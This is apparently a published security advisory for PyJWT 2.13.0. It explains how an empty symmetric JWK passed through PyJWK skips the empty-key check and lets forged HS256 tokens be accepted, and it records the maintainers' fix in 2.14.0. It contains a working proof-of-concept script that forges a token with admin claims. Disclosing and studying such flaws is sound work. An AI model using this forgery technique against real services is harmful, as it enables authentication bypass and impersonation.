Details
### Summary
A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.
PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw `str`/`bytes` key path, but accepts the same zero-length key when it is supplied as a symmetric `PyJWK`.
An `oct` JWK containing an empty Base64URL key value:
```json
{"kty":"oct","k":""}
```
is decoded to `b""`. During signature verification, the `PyJWK` path uses this decoded value directly and does not invoke the empty-key validation in `HMACAlgorithm.prepare_key`. With the default `enforce_minimum_key_length=False`, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.
An attacker can independently calculate `HMAC-SHA256(b"", signing_input)` and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty `oct` JWK through `PyJWK` or `PyJWKSet` can therefore accept attacker-generated tokens as authenticated.
The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as `"k": ""`. The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.
### Details
The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through `PyJWK`.
#### Raw empty HMAC keys are rejected
[`[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.
As a result, an empty raw key is rejected in PyJWT 2.13.0:
```python
jwt.decode(token, b"", algorithms=["HS256"])
```
with `InvalidKeyError`.
#### Empty `oct` JWKs decode to the same key but are accepted
[`[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.
For:
```json
{
"kty": "oct",
"k": ""
}
```
the empty Base64URL value is decoded to:
```python
b""
```
and returned without an emptiness check.
[`[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in `self.key`.
The resulting `PyJWK` therefore contains the same zero-length byte string rejected by the raw-key path.
#### `PyJWK` verification bypasses the raw-key validation
[`[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for `PyJWK` objects.
When a `PyJWK` is supplied, verification uses its already-decoded key directly:
```python
prepared_key = key.key
```
The value is not passed through:
```python
alg_obj.prepare_key(key.key)
```
so the empty-key check in `HMACAlgorithm.prepare_key` is never reached.
The minimum HMAC key-length check does not reject the key under the default configuration. With `enforce_minimum_key_length=False`, PyJWT emits a warning and continues signature verification.
The verifier therefore receives:
```python
b""
```
as the HS256 key.
This creates the following difference for identical cryptographic key material:
```text
raw b""
-> HMACAlgorithm.prepare_key
-> InvalidKeyError
{"kty":"oct","k":""}
-> HMACAlgorithm.from_jwk
-> b""
-> PyJWK.key
-> PyJWS._verify_signature
-> HMAC verification with b""
-> accepted
```
Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.
This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an `oct` symmetric JWK, HS256 only, and the `PyJWK` verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.
The issue was reproduced against PyJWT 2.13.0 and commit:
```text
7144e4534c34810f4525dc4578a32addd8212cff
```
which was the tip of the public `master` branch at the time of testing.
### PoC
The following PoC reproduces the issue on PyJWT 2.13.0.
It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.
Install PyJWT 2.13.0:
```bash
python -m venv venv
source venv/bin/activate
pip install "PyJWT==2.13.0"
```
Save the following as `poc.py`:
```python
import base64
import hashlib
import hmac
import json
import time
import warnings
import jwt
from jwt import PyJWKSet
from jwt.exceptions import InvalidKeyError, InvalidSignatureError
def b64u(value: bytes) -> bytes:
return base64.urlsafe_b64encode(value).rstrip(b"=")
now = int(time.time())
header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode())
payload = b64u(
json.dumps(
{"sub": "attacker", "admin": True, "iat": now, "exp": now + 300},
separators=(",", ":"),
).encode()
)
signing_input = header + b"." + payload
forged = (
signing_input
+ b"."
+ b64u(hmac.new(b"", signing_input, hashlib.sha256).digest())
).decode()
jwk = PyJWKSet.from_dict(
{
"keys": [
{
"kty": "oct",
"k": "",
"kid": "active",
"alg": "HS256",
"use": "sig",
}
]
}
)["active"]
with warnings.catch_warnings():
warnings.simplefilter("ignore")
claims = jwt.decode(
forged,
jwk,
algorithms=["HS256"],
options={"require": ["exp"]},
)
assert claims["sub"] == "attacker"
assert claims["admin"] is True
print("VULNERABLE:", claims)
try:
jwt.decode(forged, b"", algorithms=["HS256"])
except InvalidKeyError:
print("CONTROL raw empty key: rejected")
else:
raise AssertionError("raw empty key was accepted")
try:
jwt.decode(
forged,
jwk,
algorithms=["HS256"],
options={"enforce_minimum_key_length": True},
)
except InvalidKeyError:
print("CONTROL strict PyJWK: rejected")
else:
raise AssertionError("strict PyJWK was accepted")
real_key = PyJWKSet.from_dict(
{
"keys": [
{
"kty": "oct",
"k": "cmVhbC1zZWNyZXQ",
"kid": "active",
"alg": "HS256",
}
]
}
)["active"]
try:
with warnings.catch_warnings():
warnings.simplefilter("ignore")
jwt.decode(forged, real_key, algorithms=["HS256"])
except InvalidSignatureError:
print("CONTROL non-empty PyJWK: rejected")
else:
raise AssertionError("non-empty PyJWK accepted an empty-key forgery")
```
Run:
```bash
python poc.py
```
Observed output:
```text
VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>}
CONTROL raw empty key: rejected
CONTROL strict PyJWK: rejected
CONTROL non-empty PyJWK: rejected
```
The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through `PyJWK`.
The first control supplies the same key material directly as `b""`. PyJWT 2.13.0 rejects it with `InvalidKeyError`.
The second control enables `enforce_minimum_key_length`, which also rejects the empty `PyJWK`.
The third control changes only the JWK key material to a non-empty value. The same forged token then fails with `InvalidSignatureError`.
I also reproduced the result through the following verification paths:
```python
jwt.decode(token, PyJWK, algorithms=["HS256"])
jwt.decode(token, PyJWK)
jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"])
PyJWS().decode(token, PyJWK, algorithms=["HS256"])
```
All accepted an HS256 token whose signature was generated using the zero-length HMAC key.
As an execution-path check, after constructing the `PyJWK`, I replaced `HMACAlgorithm.prepare_key` with a function that immediately raises. Verification using the `PyJWK` still accepted the forged token, while the raw-key path reached `prepare_key` and rejected the empty key.
### Impact
This is an authentication bypass caused by inconsistent validation of empty HMAC keys.
Affected applications are services that verify HS256 JWTs using `PyJWK`, `PyJWKSet`, or another path that produces a `PyJWK`, where the configured `oct` JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.
For example, an application could and produces:
```json
{
"kty": "oct",
"k": "",
"kid": "active",
"alg": "HS256"
}
```
when the expected Base64URL secret value is missing.
Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is `b""` and can therefore calculate a valid HMAC for any signing input.
The attacker can choose arbitrary claims such as:
```json
{
"sub": "attacker",
"admin": true,
"exp": 1787100000
}
```
and produce a signature that PyJWT accepts as valid.
Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.
Validation of claims such as `exp`, `aud`, `iss`, or `sub` does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.
The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
## Maintainer update — 2026-09-09
We reproduced the reported discrepancy on PyJWT 2.13.0: an empty `oct` JWK supplied through `PyJWK` reached HS256 verification as `b""`, while the equivalent raw empty key was rejected by `HMACAlgorithm.prepare_key()`. The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.
This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.
The fix is committed as `f91ed44dd65baaf457f4b3353ed35e98a753934c`. PyJWK verification now routes the decoded key through the selected algorithm's `prepare_key()` validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through `PyJWK`; existing JWS behavior remains covered.
The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.
The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.
## Classification update — 2026-09-10
We completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.
## Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.